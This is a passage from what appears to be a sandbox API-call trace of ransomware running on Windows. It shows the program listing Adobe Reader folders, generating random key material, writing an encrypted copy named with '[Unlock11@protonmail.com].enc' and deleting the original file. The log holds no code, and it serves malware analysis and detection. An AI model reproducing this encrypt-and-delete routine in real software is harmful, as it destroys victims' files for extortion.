ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33f3911d, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9baaac, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0198.163] GetCurrentThreadId () returned 0x9b0 [0198.164] FindNextFileA (in: hFindFile=0x10f74d0, lpFindFileData=0x9bacf0 | out: lpFindFileData=0x9bacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33f3911d, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33f3911d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33f3911d, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9baaac, dwReserved1=0x73013d47, cFileName="Adobe", cAlternateFileName="")) returned 1 [0198.164] GetCurrentThreadId () returned 0x9b0 [0198.164] FindNextFileA (in: hFindFile=0x10f74d0, lpFindFileData=0x9bacf0 | out: lpFindFileData=0x9bacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ea075c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33ea075c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33ea075c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9baaac, dwReserved1=0x73013d47, cFileName="Plugins2", cAlternateFileName="")) returned 1 [0198.164] GetCurrentThreadId () returned 0x9b0 [0198.164] FindNextFileA (in: hFindFile=0x10f74d0, lpFindFileData=0x9bacf0 | out: lpFindFileData=0x9bacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ea075c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33ea075c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33ea075c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9baaac, dwReserved1=0x73013d47, cFileName="Plugins2", cAlternateFileName="")) returned 0 [0198.164] GetCurrentThreadId () returned 0x9b0 [0198.164] FindClose (in: hFindFile=0x10f74d0 | out: hFindFile=0x10f74d0) returned 1 [0198.165] GetCurrentThreadId () returned 0x9b0 [0198.165] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Adobe" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\adobe")) returned 0x10 [0198.198] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2720 | out: hHeap=0x2ad0000) returned 1 [0198.198] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0198.198] GetCurrentThreadId () returned 0x9b0 [0198.199] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2")) returned 0x10 [0198.199] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2858 | out: hHeap=0x2ad0000) returned 1 [0198.199] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eae68 | out: hHeap=0x2ad0000) returned 1 [0198.199] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Adobe\\*.*", lpFindFileData=0x9bac50 | out: lpFindFileData=0x9bac50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33f3911d, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33f3911d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33f3911d, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9baa0c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f72d0 [0198.199] GetCurrentThreadId () returned 0x9b0 [0198.199] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9bac50 | out: lpFindFileData=0x9bac50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33f3911d, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33f3911d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33f3911d, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9baa0c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0198.200] GetCurrentThreadId () returned 0x9b0 [0198.200] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9bac50 | out: lpFindFileData=0x9bac50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33f3911d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x7, dwReserved0=0x9baa0c, dwReserved1=0x73013d47, cFileName="Products.txt", cAlternateFileName="")) returned 1 [0198.200] GetCurrentThreadId () returned 0x9b0 [0198.200] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9bac50 | out: lpFindFileData=0x9bac50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33f3911d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x7, dwReserved0=0x9baa0c, dwReserved1=0x73013d47, cFileName="Products.txt", cAlternateFileName="")) returned 0 [0198.200] GetCurrentThreadId () returned 0x9b0 [0198.200] FindClose (in: hFindFile=0x10f72d0 | out: hFindFile=0x10f72d0) returned 1 [0198.201] GetCurrentThreadId () returned 0x9b0 [0198.201] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Adobe\\Products.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\adobe\\products.txt")) returned 0x20 [0198.201] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de8f0 | out: hHeap=0x2ad0000) returned 1 [0198.201] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881270 [0198.201] GetCurrentThreadId () returned 0x9b0 [0198.201] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Adobe\\Products.txt", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Adobe\\Products.txt", lpFilePart=0x9bada4*="Products.txt") returned 0x5c [0198.201] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0198.202] GetCurrentThreadId () returned 0x9b0 [0198.202] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0198.202] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0198.202] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0198.202] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eae68 [0198.202] GetCurrentThreadId () returned 0x9b0 [0198.202] GetCurrentThreadId () returned 0x9b0 [0198.202] GetCurrentThreadId () returned 0x9b0 [0198.202] GetCurrentThreadId () returned 0x9b0 [0198.203] GetCurrentThreadId () returned 0x9b0 [0198.203] GetCurrentThreadId () returned 0x9b0 [0198.203] GetCurrentThreadId () returned 0x9b0 [0198.203] GetCurrentThreadId () returned 0x9b0 [0198.203] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Adobe\\Products.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\adobe\\products.txt"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33f3911d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x7)) returned 1 [0198.203] GetCurrentThreadId () returned 0x9b0 [0198.204] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662b74 | out: pbBuffer=0x3662b74) returned 1 [0198.204] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0198.204] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3df0 [0198.204] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622818 | out: hHeap=0x2ad0000) returned 1 [0198.204] GetCurrentThreadId () returned 0x9b0 [0198.204] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eafd0 [0198.204] GetCurrentThreadId () returned 0x9b0 [0198.204] GetCurrentThreadId () returned 0x9b0 [0198.205] GetCurrentThreadId () returned 0x9b0 [0198.205] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Adobe\\Products.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\adobe\\products.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0198.205] GetFileType (hFile=0x334) returned 0x1 [0198.205] GetCurrentThreadId () returned 0x9b0 [0198.205] GetFileType (hFile=0x334) returned 0x1 [0198.205] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0198.205] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.206] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.206] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.206] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.206] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.206] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.206] GetCurrentThreadId () returned 0x9b0 [0198.206] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Adobe\\Products.txt.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\adobe\\products.txt.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0198.207] GetFileType (hFile=0x39c) returned 0x1 [0198.207] GetCurrentThreadId () returned 0x9b0 [0198.207] GetFileType (hFile=0x39c) returned 0x1 [0198.207] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0198.207] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.207] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.207] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.207] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.207] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.208] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.208] GetCurrentThreadId () returned 0x9b0 [0198.208] GetCurrentThreadId () returned 0x9b0 [0198.208] GetCurrentThreadId () returned 0x9b0 [0198.209] GetCurrentThreadId () returned 0x9b0 [0198.209] GetCurrentThreadId () returned 0x9b0 [0198.209] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32655b8 [0198.209] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265548 | out: hHeap=0x2ad0000) returned 1 [0198.209] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x28) returned 0x2a20258 [0198.210] GetCurrentThreadId () returned 0x9b0 [0198.210] GetCurrentThreadId () returned 0x9b0 [0198.210] GetCurrentThreadId () returned 0x9b0 [0198.211] CloseHandle (hObject=0x39c) returned 1 [0198.211] GetCurrentThreadId () returned 0x9b0 [0198.211] CloseHandle (hObject=0x334) returned 1 [0198.211] GetCurrentThreadId () returned 0x9b0 [0198.211] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Adobe\\Products.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\adobe\\products.txt")) returned 1 [0198.212] GetCurrentThreadId () returned 0x9b0 [0198.212] GetCurrentThreadId () returned 0x9b0 [0198.213] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0198.213] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\*.*", lpFindFileData=0x9bac50 | out: lpFindFileData=0x9bac50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ea075c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33ea075c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33ea075c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9baa0c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7850 [0198.213] GetCurrentThreadId () returned 0x9b0 [0198.213] FindNextFileA (in: hFindFile=0x10f7850, lpFindFileData=0x9bac50 | out: lpFindFileData=0x9bac50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ea075c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33ea075c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33ea075c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9baa0c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0198.213] GetCurrentThreadId () returned 0x9b0 [0198.213] FindNextFileA (in: hFindFile=0x10f7850, lpFindFileData=0x9bac50 | out: lpFindFileData=0x9bac50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ea075c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3401df50, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3401df50, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9baa0c, dwReserved1=0x73013d47, cFileName="AdobeHunspellPlugin", cAlternateFileName="ADOBEH~1")) returned 1 [0198.214] GetCurrentThreadId () returned 0x9b0 [0198.214] FindNextFileA (in: hFindFile=0x10f7850, lpFindFileData=0x9bac50 | out: lpFindFileData=0x9bac50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ea075c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3401df50, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3401df50, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9baa0c, dwReserved1=0x73013d47, cFileName="AdobeHunspellPlugin", cAlternateFileName="ADOBEH~1")) returned 0 [0198.214] GetCurrentThreadId () returned 0x9b0 [0198.214] FindClose (in: hFindFile=0x10f7850 | out: hFindFile=0x10f7850) returned 1 [0198.214] GetCurrentThreadId () returned 0x9b0 [0198.214] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin")) returned 0x10 [0198.215] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19888 | out: hHeap=0x2ad0000) returned 1 [0198.215] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881000 [0198.215] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0198.215] GetCurrentThreadId () returned 0x9b0 [0198.215] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\*.*", lpFindFileData=0x9babb0 | out: lpFindFileData=0x9babb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ea075c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3401df50, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3401df50, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9ba96c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7450 [0198.217] GetCurrentThreadId () returned 0x9b0 [0198.217] FindNextFileA (in: hFindFile=0x10f7450, lpFindFileData=0x9babb0 | out: lpFindFileData=0x9babb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ea075c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3401df50, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3401df50, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9ba96c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0198.217] GetCurrentThreadId () returned 0x9b0 [0198.217] FindNextFileA (in: hFindFile=0x10f7450, lpFindFileData=0x9babb0 | out: lpFindFileData=0x9babb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33f5f358, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33f5f358, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33f5f358, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9ba96c, dwReserved1=0x73013d47, cFileName="Abbreviations", cAlternateFileName="ABBREV~1")) returned 1 [0198.218] GetCurrentThreadId () returned 0x9b0 [0198.218] FindNextFileA (in: hFindFile=0x10f7450, lpFindFileData=0x9babb0 | out: lpFindFileData=0x9babb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33ec69cf, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x1e00a0, dwReserved0=0x9ba96c, dwReserved1=0x73013d47, cFileName="AdobeHunspellPlugin.dll", cAlternateFileName="ADOBEH~1.DLL")) returned 1 [0198.218] GetCurrentThreadId () returned 0x9b0 [0198.218] FindNextFileA (in: hFindFile=0x10f7450, lpFindFileData=0x9babb0 | out: lpFindFileData=0x9babb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33ec69cf, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x9ba96c, dwReserved1=0x73013d47, cFileName="comdll.X.manifest", cAlternateFileName="COMDLL~1.MAN")) returned 1 [0198.218] GetCurrentThreadId () returned 0x9b0 [0198.218] FindNextFileA (in: hFindFile=0x10f7450, lpFindFileData=0x9babb0 | out: lpFindFileData=0x9babb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33f5f358, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33fd1a84, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33fd1a84, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9ba96c, dwReserved1=0x73013d47, cFileName="Dictionaries", cAlternateFileName="DICTIO~1")) returned 1 [0198.218] GetCurrentThreadId () returned 0x9b0 [0198.218] FindNextFileA (in: hFindFile=0x10f7450, lpFindFileData=0x9babb0 | out: lpFindFileData=0x9babb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb637df00, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33f12e85, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb637df00, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0xa, dwReserved0=0x9ba96c, dwReserved1=0x73013d47, cFileName="Dummy.aff", cAlternateFileName="")) returned 1 [0198.219] GetCurrentThreadId () returned 0x9b0 [0198.219] FindNextFileA (in: hFindFile=0x10f7450, lpFindFileData=0x9babb0 | out: lpFindFileData=0x9babb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb637df00, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33f12e85, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb637df00, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x1, dwReserved0=0x9ba96c, dwReserved1=0x0, cFileName="Dummy.dic", cAlternateFileName="")) returned 1 [0198.219] GetCurrentThreadId () returned 0x9b0 [0198.219] FindNextFileA (in: hFindFile=0x10f7450, lpFindFileData=0x9babb0 | out: lpFindFileData=0x9babb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33f3911d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x14a4, dwReserved0=0x9ba96c, dwReserved1=0x0, cFileName="Info.plist", cAlternateFileName="INFO~1.PLI")) returned 1 [0198.219] GetCurrentThreadId () returned 0x9b0 [0198.219] FindNextFileA (in: hFindFile=0x10f7450, lpFindFileData=0x9babb0 | out: lpFindFileData=0x9babb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33f3911d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x21c, dwReserved0=0x9ba96c, dwReserved1=0x0, cFileName="plugin.X.manifest", cAlternateFileName="PLUGIN~1.MAN")) returned 1 [0198.219] GetCurrentThreadId () returned 0x9b0 [0198.220] FindNextFileA (in: hFindFile=0x10f7450, lpFindFileData=0x9babb0 | out: lpFindFileData=0x9babb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3401df50, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x340441b0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x340441b0, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9ba96c, dwReserved1=0x0, cFileName="SupplementalDictionaries", cAlternateFileName="SUPPLE~1")) returned 1 [0198.220] GetCurrentThreadId () returned 0x9b0 [0198.220] FindNextFileA (in: hFindFile=0x10f7450, lpFindFileData=0x9babb0 | out: lpFindFileData=0x9babb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3401df50, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x340441b0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x340441b0, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9ba96c, dwReserved1=0x0, cFileName="SupplementalDictionaries", cAlternateFileName="SUPPLE~1")) returned 0 [0198.220] GetCurrentThreadId () returned 0x9b0 [0198.220] FindClose (in: hFindFile=0x10f7450 | out: hFindFile=0x10f7450) returned 1 [0198.221] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Abbreviations" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\abbreviations")) returned 0x10 [0198.222] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35bc010 | out: hHeap=0x2ad0000) returned 1 [0198.222] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881270 [0198.222] GetCurrentThreadId () returned 0x9b0 [0198.222] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\AdobeHunspellPlugin.dll" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\adobehunspellplugin.dll")) returned 0x20 [0198.222] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e8388 | out: hHeap=0x2ad0000) returned 1 [0198.222] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881108 [0198.223] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\comdll.X.manifest" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\comdll.x.manifest")) returned 0x20 [0198.223] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e8960 | out: hHeap=0x2ad0000) returned 1 [0198.223] GetCurrentThreadId () returned 0x9b0 [0198.223] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dictionaries" 